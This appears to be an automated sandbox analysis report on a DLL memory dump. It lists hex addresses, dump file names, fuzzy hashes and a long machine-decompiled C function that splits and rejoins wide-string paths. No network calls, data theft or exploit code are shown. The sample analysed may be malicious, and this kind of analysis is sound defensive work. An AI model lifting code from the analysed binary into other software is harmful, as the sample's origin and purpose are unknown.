0x6ebb7ba8
0x6ebb7baa
0x6ebb7bd0
0x6ebb7bd3
0x6ebb7bd6
0x6ebb7bda
0x00000000
0x00000000
0x00000000
0x6ebb7bac
0x6ebb7bac
0x6ebb7bae
0x6ebb7fa2
0x6ebb7fa7
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb7bb4
0x6ebb7bb4
0x6ebb7bb7
0x6ebb7bb9
0x6ebb7bbe
0x6ebb7fa9
0x6ebb7fa9
0x6ebb7be0
0x6ebb7bea
0x6ebb7bed
0x6ebb7bf1
0x6ebb7bf1
0x6ebb7bf6
0x6ebb7bfe
0x6ebb7bfe
0x6ebb7bfe
0x6ebb7bff
0x6ebb7c0b
0x6ebb7c0e
0x6ebb7c12
0x6ebb7c13
0x6ebb7c17
0x6ebb7c1c
0x6ebb7c20
0x6ebb7c24
0x6ebb7c27
0x6ebb7c29
0x6ebb7c7f
0x6ebb7c2b
0x6ebb7c2b
0x6ebb7c30
0x6ebb7c32
0x6ebb7c34
0x6ebb7c37
0x6ebb7c39
0x6ebb7c3b
0x6ebb7c3d
0x6ebb7c41
0x6ebb7c41
0x6ebb7c43
0x6ebb7c47
0x6ebb7c47
0x6ebb7c48
0x6ebb7c4d
0x6ebb7c51
0x6ebb7c53
0x00000000
0x00000000
0x6ebb7c55
0x6ebb7c59
0x6ebb7c5c
0x6ebb7c5e
0x00000000
0x00000000
0x00000000
0x6ebb7c5e
0x6ebb7c60
0x6ebb7c64
0x6ebb7c64
0x6ebb7c3b
0x6ebb7c68
0x6ebb7c6a
0x6ebb7c6b
0x6ebb7c6f
0x6ebb7c74
0x6ebb7c78
0x6ebb7c78
0x6ebb7c82
0x6ebb7c86
0x6ebb7c86
0x6ebb7c88
0x6ebb7c8a
0x00000000
0x6ebb7c90
0x6ebb7c90
0x00000000
0x6ebb7c90
0x6ebb7bc4
0x6ebb7bc4
0x6ebb7c93
0x6ebb7c93
0x6ebb7c95
0x6ebb7c97
0x6ebb7c9b
0x6ebb7c9b
0x6ebb7c9d
0x6ebb7c9d
0x6ebb7c9e
0x6ebb7ca1
0x6ebb7ca5
0x6ebb7ca8
0x00000000
0x00000000
0x6ebb7caa
0x6ebb7cac
0x6ebb7caf
0x00000000
0x00000000
0x00000000
0x6ebb7caf
0x6ebb7cb1
0x6ebb7cb1
0x6ebb7cb5
0x6ebb7cb7
0x6ebb7cb9
0x6ebb7cc2
0x00000000
0x00000000
0x6ebb7cbb
0x6ebb7cbb
0x6ebb7cc4
0x6ebb7cc4
0x6ebb7ccc
0x6ebb7cd0
0x6ebb7cd4
0x6ebb7cd8
0x6ebb7cd8
0x6ebb7cdc
0x6ebb7cdf
0x6ebb7ce1
0x00000000
0x00000000
0x6ebb7ce3
0x6ebb7ce3
0x6ebb7ce7
0x6ebb7ce8
0x6ebb7cea
0x00000000
0x00000000
0x00000000
0x6ebb7cea
0x6ebb7cec
0x6ebb7cf0
0x6ebb7cf0
0x00000000
0x6ebb7cb9
0x6ebb7bbe
0x6ebb7bae
0x6ebb7baa
0x00000000
0x00000000
0x00000000
0x6ebb7ab1
0x00000000
0x6ebb7ab3
0x6ebb7ab7
0x6ebb7ab8
0x6ebb7ab8
0x00000000
0x6ebb7f41
0x6ebb7f45
0x6ebb7f46
0x6ebb7f46
0x6ebb7f4e
0x6ebb7f53
0x6ebb7f55
0x6ebb7e4b
0x6ebb7e4b
0x6ebb7e52
0x6ebb7e54
0x6ebb7e5a
0x6ebb7e5c
0x6ebb7e5e
0x6ebb7e95
0x6ebb7e60
0x6ebb7e60
0x6ebb7e62
0x6ebb7e64
0x6ebb7e67
0x6ebb7e69
0x6ebb7e6b
0x6ebb7e6d
0x6ebb7e6d
0x6ebb7e6f
0x6ebb7e6f
0x6ebb7e70
0x6ebb7e75
0x6ebb7e79
0x6ebb7e7b
0x00000000
0x00000000
0x6ebb7e7d
0x6ebb7e81
0x6ebb7e84
0x6ebb7e86
0x00000000
0x00000000
0x00000000
0x6ebb7e86
0x6ebb7e6f
0x6ebb7e6b
0x6ebb7e88
0x6ebb7e88
0x6ebb7e8a
0x6ebb7e8b
0x6ebb7e90
0x6ebb7e90
0x6ebb7e98
0x6ebb7e9b
0x6ebb7e9d
0x00000000
0x6ebb7cf4
0x6ebb7cf8
0x6ebb7cf9
0x6ebb7cfc
0x6ebb7cfc
0x6ebb7d04
0x6ebb7d04
0x6ebb7d07
0x6ebb7d07
0x6ebb7d09
0x6ebb7d0b
0x6ebb7d0e
0x6ebb7d0e
0x6ebb7d11
0x00000000
0x6ebb7d17
0x6ebb7d19
0x6ebb7d19
0x6ebb7d1c
0x6ebb7d30
0x6ebb7d34
0x6ebb7d40
0x6ebb7d40
0x6ebb7d46
0x6ebb7d46
0x6ebb7d4b
0x6ebb7d4f
0x6ebb7d53
0x6ebb7d55
0x00000000
0x00000000
0x6ebb7d5b
0x6ebb7d5e
0x6ebb7d60
0x00000000
0x6ebb7d62
0x6ebb7d62
0x6ebb7d68
0x6ebb7d79
0x6ebb7d79
0x00000000
0x6ebb7d6a
0x6ebb7d6a
0x6ebb7d6e
0x00000000
0x00000000
0x6ebb7d70
0x6ebb7d71
0x6ebb7d77
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb7d77
0x6ebb7d6a
0x6ebb7d68
0x00000000
0x6ebb7d60
0x6ebb7ec1
0x6ebb7ec4
0x6ebb7d1e
0x6ebb7d20
0x6ebb7d22
0x6ebb7d22
0x6ebb7d25
0x6ebb7d25
0x6ebb7d29
0x00000000
0x00000000
0x6ebb7d2b
0x6ebb7d2c
0x6ebb7d2e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb7d2e
0x6ebb7d25
0x6ebb7d7e
0x6ebb7d83
0x6ebb7d83
0x6ebb7d86
0x6ebb7d89
0x6ebb7d8c
0x6ebb7d8e
0x6ebb7da1
0x6ebb7da4
0x6ebb7da4
0x6ebb7daa
0x6ebb7db2
0x6ebb7db2
0x6ebb7db2
0x6ebb7db5
0x6ebb7dbc
0x6ebb7dbf
0x6ebb7dc5
0x6ebb7dc7
0x6ebb7dcd
0x6ebb7dcf
0x6ebb7dd1
0x6ebb7e20
0x6ebb7dd3
0x6ebb7dd3
0x6ebb7dd5
0x6ebb7dd7
0x6ebb7dda
0x6ebb7ddc
0x6ebb7dde
0x6ebb7de0
0x6ebb7de2
0x6ebb7de5
0x6ebb7de9
0x6ebb7deb
0x6ebb7deb
0x6ebb7dec
0x6ebb7df1
0x6ebb7df5
0x6ebb7df7
0x00000000
0x00000000
0x6ebb7df9
0x6ebb7dfd
0x6ebb7e00
0x6ebb7e02
0x00000000
0x00000000
0x00000000
0x6ebb7e02
0x6ebb7e04
0x6ebb7e07
0x6ebb7e07
0x6ebb7dde
0x6ebb7e0b
0x6ebb7e0d
0x6ebb7e0e
0x6ebb7e12
0x6ebb7e17
0x6ebb7e1b
0x6ebb7e1b
0x6ebb7e23
0x6ebb7e26
0x6ebb7e29
0x6ebb7d90
0x6ebb7d90
0x6ebb7d90
0x6ebb7e2b
0x6ebb7e2d
0x6ebb7e2f
0x6ebb7e31
0x6ebb7e37
0x6ebb7e37
0x6ebb7e3a
0x6ebb7e3b
0x6ebb7e3d
0x6ebb7e3f
0x00000000
0x00000000
0x6ebb7e41
0x6ebb7e43
0x6ebb7ebb
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb7e45
0x6ebb7e45
0x6ebb7e47
0x6ebb7e35
0x6ebb7e36
0x6ebb7e36
0x00000000
0x6ebb7e36
0x00000000
0x6ebb7e47
0x6ebb7e37
0x6ebb7e2f
0x6ebb7d11
0x6ebb779f
0x6ebb7798
0x6ebb76f5
0x6ebb7ea4
0x6ebb7ea4
0x6ebb7ea6
0x6ebb7ea7
0x6ebb7eb8
0x6ebb7674
0x6ebb7674
0x6ebb7679
0x6ebb767b
0x6ebb767d
0x6ebb7685
0x6ebb7687
0x6ebb768d
0x6ebb7691
0x6ebb76c8
0x6ebb7693
0x6ebb7695
0x6ebb7697
0x6ebb769a
0x6ebb769e
0x6ebb76a0
0x6ebb76a2
0x6ebb76a2
0x6ebb76a3
0x6ebb76a8
0x6ebb76ae
0x00000000
0x00000000
0x6ebb76b0
0x6ebb76b4
0x6ebb76b9
0x00000000
0x00000000
0x00000000
0x6ebb76b9
0x6ebb76a2
0x6ebb769e
0x6ebb76bb
0x6ebb76bb
0x6ebb76bd
0x6ebb76be
0x6ebb76c3
0x6ebb76c3
0x6ebb76cb
0x6ebb76ce
0x6ebb76d5
0x6ebb76e0
0x6ebb76e0
0x00000000

Strings

@, xrefs: 6EBB7FA2

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 52cf54630ff8bdc2b50b66d371acd1fbb21b2ea9802d435e193b7f6b95655d85
Instruction ID: 821745bab288fc87a04b97a6f09d492cc2698451f1fa07693469471aae2d1cad
Opcode Fuzzy Hash: 52cf54630ff8bdc2b50b66d371acd1fbb21b2ea9802d435e193b7f6b95655d85
Instruction Fuzzy Hash: A952F7719183E24BE7568EB9849033A7FE2EF86310F14876DD8A59B3D1DEB4C941C781

Uniqueness

Uniqueness Score: -1.00%

Function 6EBAD030, Relevance: 2.0, Strings: 1, Instructions: 789
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6EBAD030(void* __ecx, signed int* _a4) {
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				unsigned int _v60;
				signed int _v64;
				signed int _v68;
				unsigned int _t225;
				signed int _t230;
				signed int _t231;
				void* _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t255;
				signed int _t257;
				signed int _t258;
				unsigned int _t267;
				signed int _t272;
				signed int _t277;
				unsigned int _t283;
				signed int _t284;
				signed int* _t286;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t304;
				unsigned int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed int _t313;
				signed int _t316;
				signed int _t317;
				unsigned int _t326;
				signed int _t327;
				signed int _t329;
				signed int _t330;
				void* _t331;
				signed int _t332;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				unsigned int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t351;
				signed int _t354;
				signed int _t355;
				signed int _t361;
				signed int _t362;
				signed int _t364;
				unsigned int _t369;
				signed int _t370;
				signed int _t371;
				signed int _t374;
				void* _t382;
				signed int _t384;
				signed int _t385;
				signed int _t389;
				signed int _t390;
				unsigned int _t405;
				signed int _t406;
				signed int _t409;
				signed int _t410;
				signed int _t411;
				signed short* _t414;
				signed int _t418;
				unsigned int _t419;
				signed int _t421;
				unsigned int _t429;
				void* _t433;
				signed int _t434;
				signed int _t435;
				signed int _t441;
				signed int _t442;
				signed int _t443;
				signed int* _t445;
				unsigned int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t458;
				signed int _t465;
				unsigned int _t467;
				signed int _t468;
				signed int _t471;
				void* _t473;
				void* _t474;

				_t473 = (_t471 & 0xfffffff0) - 0x34;
				E6EBAD980(__ecx,  &_v60, 0x2f);
				_t294 = E6EBAE7D0( &_v60);
				_t445 = _a4;
				_t316 =  *_t294;
				if(_t316 != 0) {
					_t364 =  *( *( *(_t294 + 4)));
					__eflags = _t364;
					if(_t364 == 0) {
						L37:
						_push(0x80);
						_t418 = E6EBA1030();
						_t473 = _t473 + 4;
						 *_t418 = 0;
						__eflags =  *_t294 - 1;
						if( *_t294 <= 1) {
							L70:
							 *_t445 = 0;
							_t445[1] = 0;
							__eflags = _t418;
							if(_t418 == 0) {
								L105:
								_push(0x80);
								_t295 = E6EBA1030();
								_t473 = _t473 + 4;
								_t317 =  *_t445;
								__eflags = _t317;
								if(_t317 == 0) {
									__eflags = 0;
									 *_t295 = 0;
									L113:
									 *_t445 = _t295;
									_t445[1] = 0x40;
									L114:
									_push(2);
									_push(_t418);
									E6EBA10B0();
									_t474 = _t473 + 8;
									L115:
									_t419 = _v60;
									_v60 = 0;
									_v52 = 0;
									_t369 = _v56;
									if(_t419 <= 0) {
										L127:
										_push(4);
										_push(_t369);
										E6EBA10B0();
										_v56 = 0;
										return _t445;
									}
									_t225 = _t419 >> 1;
									if(_t225 == 0) {
										_t297 = 1;
										L124:
										if(_t297 - 1 < _t419) {
											_t319 =  *((intOrPtr*)(_t369 + _t297 * 4 - 4));
											if( *((intOrPtr*)(_t369 + _t297 * 4 - 4)) != 0) {
												_push(1);
												E6EBA87E0(_t319);
												_t369 = _v60;
											}
										}
										goto L127;
									}
									_t298 = 0;
									_t447 = _t225;
									do {
										_t320 =  *((intOrPtr*)(_t369 + _t298 * 8));
										if( *((intOrPtr*)(_t369 + _t298 * 8)) != 0) {
											_push(1);
											E6EBA87E0(_t320);
											_t369 = _v60;
										}
										_t321 =  *((intOrPtr*)(_t369 + 4 + _t298 * 8));
										if( *((intOrPtr*)(_t369 + 4 + _t298 * 8)) != 0) {
											_push(1);
											E6EBA87E0(_t321);
											_t369 = _v60;
										}
										_t298 = _t298 + 1;
									} while (_t298 < _t447);
									_t445 = _a4;
									_t297 = _t298 + _t298 + 1;
									goto L124;
								}
								__eflags = _t295;
								if(_t295 == 0) {
									L111:
									_push(2);
									_push(_t317);
									E6EBA10B0();
									_t473 = _t473 + 8;
									goto L113;
								}
								_t370 =  *_t317 & 0x0000ffff;
								 *_t295 = _t370;
								__eflags = _t370;
								if(_t370 == 0) {
									goto L111;
								}
								_t371 = 0;
								__eflags = 0;
								while(1) {
									_t371 = _t371 + 1;
									_t230 =  *(_t317 + _t371 * 4 - 2) & 0x0000ffff;
									 *(_t295 + _t371 * 4 - 2) = _t230;
									__eflags = _t230;
									if(_t230 == 0) {
										goto L111;
									}
									_t231 =  *(_t317 + _t371 * 4) & 0x0000ffff;
									 *(_t295 + _t371 * 4) = _t231;
									__eflags = _t231;
									if(_t231 != 0) {
										continue;
									}
									goto L111;
								}
								goto L111;
							}
							L71:
							__eflags =  *_t418 & 0x0000ffff;
							if(( *_t418 & 0x0000ffff) == 0) {
								goto L105;
							}
							_t374 = _t418 & 0x0000000f;
							__eflags = _t374;
							if(_t374 == 0) {
								L77:
								asm("pxor xmm0, xmm0");
								_t304 =  ~( ~_t374 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t304;
								while(1) {
									asm("movdqu xmm1, [edi+edx*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb ecx, xmm1");
									__eflags = _t316;
									if(_t316 != 0) {
										break;
									}
									_t374 = _t374 + 8;
									__eflags = _t374 - _t304;
									if(_t374 < _t304) {
										continue;
									}
									__eflags = _t304 - 0x7fffffff;
									if(_t304 >= 0x7fffffff) {
										L83:
										_t304 = 0x7fffffff;
										L84:
										_t82 = _t304 + 1; // 0x80000000
										_t232 = _t82;
										__eflags = _t232 - 0x40;
										_t233 =  <=  ? 0x40 : _t232;
										__eflags = _t233;
										if(_t233 > 0) {
											_t326 = (_t233 >> 5 >> 0x1a) + _t233 >> 6;
											_t234 = _t233 & 0x8000003f;
											__eflags = _t234;
											if(_t234 < 0) {
												_t234 = (_t234 - 0x00000001 | 0xffffffc0) + 1;
												__eflags = _t234;
											}
											__eflags = _t234;
											_t327 = _t326 + (0 | _t234 > 0x00000000);
											_v64 = _t327 << 6;
											_push(_t327 << 7);
											_t235 = E6EBA1030();
											_t473 = _t473 + 4;
											_t329 =  *_t445;
											__eflags = _t329;
											if(_t329 == 0) {
												__eflags = 0;
												 *_t235 = 0;
												goto L97;
											} else {
												__eflags = _t235;
												if(_t235 == 0) {
													L95:
													_push(2);
													_push(_t329);
													_v68 = _t235;
													E6EBA10B0();
													_t235 = _v68;
													_t473 = _t473 + 8;
													L97:
													_t445[1] = _v64;
													 *_t445 = _t235;
													L98:
													_t330 = _t418;
													__eflags = _t235;
													if(_t235 == 0) {
														goto L114;
													}
													_t382 = 0;
													while(1) {
														_t448 =  *_t330 & 0x0000ffff;
														_t382 = _t382 + 1;
														 *_t235 = _t448;
														__eflags = _t304;
														if(_t304 == 0) {
															goto L103;
														}
														__eflags = _t382 - _t304;
														if(_t382 == _t304) {
															_t445 = _a4;
															 *(_t235 + 2) = 0;
															goto L114;
														}
														L103:
														__eflags = _t448;
														if(_t448 == 0) {
															_t445 = _a4;
															goto L114;
														}
														_t235 = _t235 + 2;
														_t330 = _t330 + 2;
														__eflags = _t330;
													}
												}
												_t384 =  *_t329 & 0x0000ffff;
												 *_t235 = _t384;
												__eflags = _t384;
												if(_t384 == 0) {
													goto L95;
												}
												_t385 = 0;
												__eflags = 0;
												while(1) {
													_t385 = _t385 + 1;
													_t449 =  *(_t329 + _t385 * 4 - 2) & 0x0000ffff;
													 *(_t235 + _t385 * 4 - 2) = _t449;
													__eflags = _t449;
													if(_t449 == 0) {
														break;
													}
													_t450 =  *(_t329 + _t385 * 4) & 0x0000ffff;
													 *(_t235 + _t385 * 4) = _t450;
													__eflags = _t450;
													if(_t450 != 0) {
														continue;
													}
													break;
												}
												_t445 = _a4;
												goto L95;
											}
										}
										_t235 = 0;
										goto L98;
									} else {
										goto L81;
									}
									while(1) {
										L81:
										__eflags =  *(_t418 + _t304 * 2) & 0x0000ffff;
										if(( *(_t418 + _t304 * 2) & 0x0000ffff) == 0) {
											goto L84;
										}
										_t304 = _t304 + 1;
										__eflags = _t304 - 0x7fffffff;
										if(_t304 < 0x7fffffff) {
											continue;
										}
										goto L83;
									}
									goto L84;
								}
								asm("bsf ebx, ecx");
								_t304 = (_t304 >> 1) + _t374;
								goto L84;
							}
							_t304 = 0;
							__eflags = _t374 & 0x00000001;
							if((_t374 & 0x00000001) != 0) {
								goto L81;
							}
							_t374 =  ~_t374 + 0x10 >> 1;
							__eflags = _t374;
							while(1) {
								_t316 =  *(_t418 + _t304 * 2) & 0x0000ffff;
								__eflags = _t316;
								if(_t316 == 0) {
									goto L84;
								}
								_t304 = _t304 + 1;
								__eflags = _t304 - _t374;
								if(_t304 < _t374) {
									continue;
								}
								goto L77;
							}
							goto L84;
						}
						_v40 = 0x40;
						L39:
						__eflags = 1;
						_t389 = 1;
						_t241 = _t294;
						asm("pxor xmm0, xmm0");
						_t306 = 1;
						do {
							__eflags = _t418;
							if(_t418 == 0) {
								_t390 = 0;
								L205:
								_v32 = _t241;
								_t451 = _t390;
								L54:
								_t48 = _t451 + 2; // -2147483652
								_t331 = _t48;
								__eflags = _t331 - 0x40;
								_t332 =  <=  ? 0x40 : _t331;
								__eflags = _t332 - _v40;
								if(_t332 <= _v40) {
									L66:
									_t316 = 0;
									 *((short*)(_t418 + _t451 * 2)) = 0x5c;
									 *((short*)(_t418 + 2 + _t451 * 2)) = 0;
									_t452 = _v32;
									_t389 =  *( *( *((intOrPtr*)(_t452 + 4)) + _t306 * 4));
									__eflags = _t389;
									if(_t389 == 0) {
										goto L68;
									}
									_t316 =  *_t389 & 0x0000ffff;
									__eflags = _t316;
									if(_t316 != 0) {
										__eflags = _t389 - _t418;
										if(_t389 == _t418) {
											goto L68;
										}
										_t245 = _t389 & 0x0000000f;
										__eflags = _t245;
										if(_t245 == 0) {
											L134:
											asm("pxor xmm1, xmm1");
											_t465 =  ~( ~_t245 + 0x00000007 & 0x00000007) + 0x7fffffff;
											__eflags = _t465;
											while(1) {
												asm("movdqu xmm0, [edx+eax*2]");
												asm("pcmpeqw xmm0, xmm1");
												asm("pmovmskb ecx, xmm0");
												__eflags = _t316;
												if(_t316 != 0) {
													break;
												}
												_t245 = _t245 + 8;
												__eflags = _t245 - _t465;
												if(_t245 < _t465) {
													continue;
												}
												__eflags = _t465 - 0x7fffffff;
												if(_t465 >= 0x7fffffff) {
													L140:
													_t465 = 0x7fffffff;
													L141:
													__eflags = _t418;
													if(_t418 == 0) {
														_t246 = 0;
														L155:
														_t149 = _t246 + 1; // 0x80000000
														_t247 = _t465 + _t149;
														__eflags = _t247;
														if(_t247 != 0) {
															__eflags = _t247 - 0x40;
															_t248 =  <=  ? 0x40 : _t247;
															__eflags = _t248 - _v40;
															if(_t248 <= _v40) {
																L173:
																_t249 = _t418;
																__eflags = _t418;
																if(_t418 == 0) {
																	L204:
																	_t241 = _v32;
																	_t390 = 0;
																	_t306 = _t306 + 1;
																	__eflags = _t306 -  *_t241;
																	if(_t306 >=  *_t241) {
																		_t445 = _a4;
																		 *_t445 = 0;
																		_t445[1] = 0;
																		goto L105;
																	}
																	goto L205;
																}
																_t334 =  *_t418 & 0x0000ffff;
																L175:
																__eflags = _t334;
																if(_t334 == 0) {
																	L180:
																	_t335 = _t249;
																	__eflags = _t465;
																	if(__eflags != 0) {
																		if(__eflags <= 0) {
																			L187:
																			_t316 = _v32;
																			_t389 = 0;
																			 *_t249 = 0;
																			_t306 = _t306 + 1;
																			__eflags = _t306 -  *_t316;
																			if(_t306 <  *_t316) {
																				L42:
																				_t243 = _t418 & 0x0000000f;
																				__eflags = _t243;
																				if(_t243 == 0) {
																					L47:
																					asm("pxor xmm1, xmm1");
																					_t458 =  ~( ~_t243 + 0x00000007 & 0x00000007) + 0x7fffffff;
																					__eflags = _t458;
																					while(1) {
																						asm("movdqu xmm0, [edi+eax*2]");
																						asm("pcmpeqw xmm0, xmm1");
																						asm("pmovmskb edx, xmm0");
																						__eflags = _t389;
																						if(_t389 != 0) {
																							break;
																						}
																						_t243 = _t243 + 8;
																						__eflags = _t243 - _t458;
																						if(_t243 < _t458) {
																							continue;
																						}
																						__eflags = _t458 - 0x7fffffff;
																						if(_t458 >= 0x7fffffff) {
																							L53:
																							_t451 = 0x7fffffff;
																							goto L54;
																						} else {
																							goto L51;
																						}
																						while(1) {
																							L51:
																							__eflags =  *(_t418 + _t458 * 2) & 0x0000ffff;
																							if(( *(_t418 + _t458 * 2) & 0x0000ffff) == 0) {
																								break;
																							}
																							_t458 = _t458 + 1;
																							__eflags = _t458 - 0x7fffffff;
																							if(_t458 < 0x7fffffff) {
																								continue;
																							}
																							goto L53;
																						}
																						L196:
																						__eflags = _t451 - 0xfffffffe;
																						if(_t451 == 0xfffffffe) {
																							 *_t418 = 0;
																						}
																						goto L54;
																					}
																					asm("bsf esi, edx");
																					_t451 = (_t458 >> 1) + _t243;
																					goto L196;
																				}
																				_t458 = 0;
																				__eflags = _t243 & 0x00000001;
																				if((_t243 & 0x00000001) != 0) {
																					goto L51;
																				}
																				_t243 =  ~_t243 + 0x10 >> 1;
																				__eflags = _t243;
																				while(1) {
																					_t389 =  *(_t418 + _t458 * 2) & 0x0000ffff;
																					__eflags = _t389;
																					if(_t389 == 0) {
																						goto L196;
																					}
																					_t458 = _t458 + 1;
																					__eflags = _t458 - _t243;
																					if(_t458 < _t243) {
																						continue;
																					}
																					goto L47;
																				}
																				goto L196;
																			}
																			_t445 = _a4;
																			L192:
																			 *_t445 = 0;
																			_t445[1] = 0;
																			goto L71;
																		}
																		L183:
																		_v48 = 0;
																		_v44 = _t418;
																		_v28 = _t306;
																		_t421 = _v48;
																		while(1) {
																			_t307 =  *(_t389 + _t421 * 2) & 0x0000ffff;
																			 *(_t335 + _t421 * 2) = _t307;
																			__eflags = _t307;
																			if(_t307 == 0) {
																				break;
																			}
																			_t190 = _t421 * 2; // 0x2
																			_t249 = _t335 + _t190 + 2;
																			_t421 = _t421 + 1;
																			__eflags = _t421 - _t465;
																			if(_t421 < _t465) {
																				continue;
																			}
																			break;
																		}
																		_t306 = _v28;
																		_t418 = _v44;
																		goto L187;
																	}
																	_t465 = 0x7fffffff;
																	goto L183;
																}
																_v36 = _t389;
																_t336 = 0;
																__eflags = 0;
																_v28 = _t306;
																while(1) {
																	_t336 = _t336 + 1;
																	_t308 = _t418 + _t336 * 4;
																	_t249 = _t308 - 2;
																	__eflags =  *(_t308 - 2) & 0x0000ffff;
																	if(( *(_t308 - 2) & 0x0000ffff) == 0) {
																		break;
																	}
																	_t249 = _t308;
																	__eflags =  *_t308 & 0x0000ffff;
																	if(( *_t308 & 0x0000ffff) != 0) {
																		continue;
																	}
																	break;
																}
																_t389 = _v36;
																_t306 = _v28;
																goto L180;
															}
															L161:
															_t341 = (_t248 >> 5 >> 0x1a) + _t248 >> 6;
															_t250 = _t248 & 0x8000003f;
															__eflags = _t250;
															if(_t250 < 0) {
																_t250 = (_t250 - 0x00000001 | 0xffffffc0) + 1;
																__eflags = _t250;
															}
															__eflags = _t250;
															_t342 = _t341 + (0 | _t250 > 0x00000000);
															_v40 = _t342 << 6;
															_push(_t342 << 7);
															_v36 = _t389;
															_t255 = E6EBA1030();
															_t389 = _v36;
															_t344 = _t255;
															_t473 = _t473 + 4;
															__eflags = _t418;
															if(_t418 == 0) {
																__eflags = 0;
																 *_t344 = 0;
																goto L172;
															} else {
																__eflags = _t344;
																if(_t344 == 0) {
																	L170:
																	_push(2);
																	_push(_t418);
																	_v68 = _t344;
																	_v36 = _t389;
																	E6EBA10B0();
																	_t389 = _v36;
																	_t344 = _v68;
																	_t473 = _t473 + 8;
																	L172:
																	_t418 = _t344;
																	goto L173;
																}
																_t257 =  *_t418 & 0x0000ffff;
																 *_t344 = _t257;
																__eflags = _t257;
																if(_t257 == 0) {
																	goto L170;
																}
																_v28 = _t306;
																_t258 = 0;
																__eflags = 0;
																while(1) {
																	_t258 = _t258 + 1;
																	_t309 =  *(_t418 + _t258 * 4 - 2) & 0x0000ffff;
																	 *(_t344 + _t258 * 4 - 2) = _t309;
																	__eflags = _t309;
																	if(_t309 == 0) {
																		break;
																	}
																	_t310 =  *(_t418 + _t258 * 4) & 0x0000ffff;
																	 *(_t344 + _t258 * 4) = _t310;
																	__eflags = _t310;
																	if(_t310 != 0) {
																		continue;
																	}
																	break;
																}
																_t306 = _v28;
																goto L170;
															}
														}
														__eflags = _t418;
														if(_t418 == 0) {
															__eflags = _v40 - 0x40;
															if(_v40 < 0x40) {
																L159:
																_t248 = 0x40;
																goto L161;
															}
															goto L204;
														}
														_t334 = 0;
														 *_t418 = 0;
														__eflags = _v40 - 0x40;
														if(_v40 < 0x40) {
															goto L159;
														}
														_t249 = _t418;
														goto L175;
													}
													_t346 = _t418 & 0x0000000f;
													__eflags = _t346;
													if(_t346 == 0) {
														L148:
														asm("pxor xmm1, xmm1");
														_v28 = _t306;
														_t246 =  ~( ~_t346 + 0x00000007 & 0x00000007) + 0x7fffffff;
														__eflags = _t246;
														while(1) {
															asm("movdqu xmm0, [edi+ecx*2]");
															asm("pcmpeqw xmm0, xmm1");
															asm("pmovmskb ebx, xmm0");
															__eflags = _t306;
															if(_t306 != 0) {
																break;
															}
															_t346 = _t346 + 8;
															__eflags = _t346 - _t246;
															if(_t346 < _t246) {
																continue;
															}
															_t306 = _v28;
															__eflags = _t246 - 0x7fffffff;
															if(_t246 >= 0x7fffffff) {
																L154:
																_t246 = 0x7fffffff;
																goto L155;
															} else {
																goto L152;
															}
															while(1) {
																L152:
																__eflags =  *(_t418 + _t246 * 2) & 0x0000ffff;
																if(( *(_t418 + _t246 * 2) & 0x0000ffff) == 0) {
																	goto L155;
																}
																_t246 = _t246 + 1;
																__eflags = _t246 - 0x7fffffff;
																if(_t246 < 0x7fffffff) {
																	continue;
																}
																goto L154;
															}
															goto L155;
														}
														asm("bsf eax, eax");
														_t267 = _t306 >> 1;
														_t306 = _v28;
														_t246 = _t267 + _t346;
														goto L155;
													}
													_t246 = 0;
													__eflags = _t346 & 0x00000001;
													if((_t346 & 0x00000001) != 0) {
														goto L152;
													}
													_t346 =  ~_t346 + 0x10 >> 1;
													__eflags = _t346;
													_v28 = _t306;
													while(1) {
														__eflags =  *(_t418 + _t246 * 2) & 0x0000ffff;
														if(( *(_t418 + _t246 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t246 = _t246 + 1;
														__eflags = _t246 - _t346;
														if(_t246 < _t346) {
															continue;
														}
														_t306 = _v28;
														goto L148;
													}
													_t306 = _v28;
													goto L155;
												} else {
													goto L138;
												}
												while(1) {
													L138:
													__eflags =  *(_t389 + _t465 * 2) & 0x0000ffff;
													if(( *(_t389 + _t465 * 2) & 0x0000ffff) == 0) {
														goto L141;
													}
													_t465 = _t465 + 1;
													__eflags = _t465 - 0x7fffffff;
													if(_t465 < 0x7fffffff) {
														continue;
													}
													goto L140;
												}
												goto L141;
											}
											asm("bsf esi, ecx");
											_t465 = (_t465 >> 1) + _t245;
											goto L141;
										}
										_t465 = 0;
										__eflags = _t245 & 0x00000001;
										if((_t245 & 0x00000001) != 0) {
											goto L138;
										}
										_t245 =  ~_t245 + 0x10 >> 1;
										__eflags = _t245;
										while(1) {
											_t316 =  *(_t389 + _t465 * 2) & 0x0000ffff;
											__eflags = _t316;
											if(_t316 == 0) {
												goto L141;
											}
											_t465 = _t465 + 1;
											__eflags = _t465 - _t245;
											if(_t465 < _t245) {
												continue;
											}
											goto L134;
										}
										goto L141;
									}
									goto L68;
								}
								_t405 = (_t332 >> 5 >> 0x1a) + _t332 >> 6;
								_t351 = _t332 & 0x8000003f;
								__eflags = _t351;
